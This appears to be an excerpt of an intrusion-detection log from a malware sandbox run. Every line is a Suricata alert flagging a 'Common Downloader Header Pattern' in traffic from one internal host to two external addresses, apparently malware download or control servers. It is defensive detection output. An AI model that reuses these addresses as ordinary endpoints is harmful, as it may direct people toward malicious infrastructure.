Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56943 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60187 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56944 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:63952 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50337 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50257 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50887 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52262 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55505 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:53380 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56326 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58996 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56384 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62599 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64938 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59066 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59064 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64837 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60826 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54341 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56247 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:58881 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49288 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56006 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58262 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52943 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58345 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49286 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56266 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51413 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63850 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49927 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53421 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57654 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:55715 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56148 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50952 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50045 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:61837 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63928 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:58828 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51528 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50978 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60767 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51424 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64839 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63953 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60550 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60645 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58061 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52124 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55105 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64411 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:61877 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56327 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51060 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54178 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53096 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52000 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49910 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52148 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59214 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55373 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:65375 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49408 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51231 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52941 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59128 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56383 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60939 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49568 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55526 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56340 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51895 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49928 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55099 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59061 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52745 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59213 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54419 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52076 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51593 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59063 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64340 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53384 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59074 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51755 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62747 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51887 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:60302 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49590 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57951 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63820 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55196 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:60812 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59886 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57522 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:62750 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:64412 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49463 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56239 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50770 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49227 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58350 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50977 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56240 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62749 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52401 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52324 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62420 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:61971 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60811 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:53422 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:55962 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64620 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62477 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:62491 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62754 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52122 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:61878 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50046 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56267 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50008 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51627 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51307 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56250 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60195 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:55883 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63434 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56241 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64142 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60035 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:57643 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52120 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:61632 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53250 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56259 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:60345 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57657 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60181 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56923 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51781 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62080 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58756 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51783 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:63529 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52771 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64288 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53449 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:54437 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:52585 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62711 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:65492 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56775 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:57093 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62705 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58580 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50465 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:62079 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54268 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58669 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49961 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53773 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:65252 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58639 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:61976 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64828 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55930 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54323 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:53774 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:63289 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57499 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52772 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60813 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56076 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:56922 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54167 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59420 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55792 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58794 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:54999 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:52282 -> 202.108.0.52:80
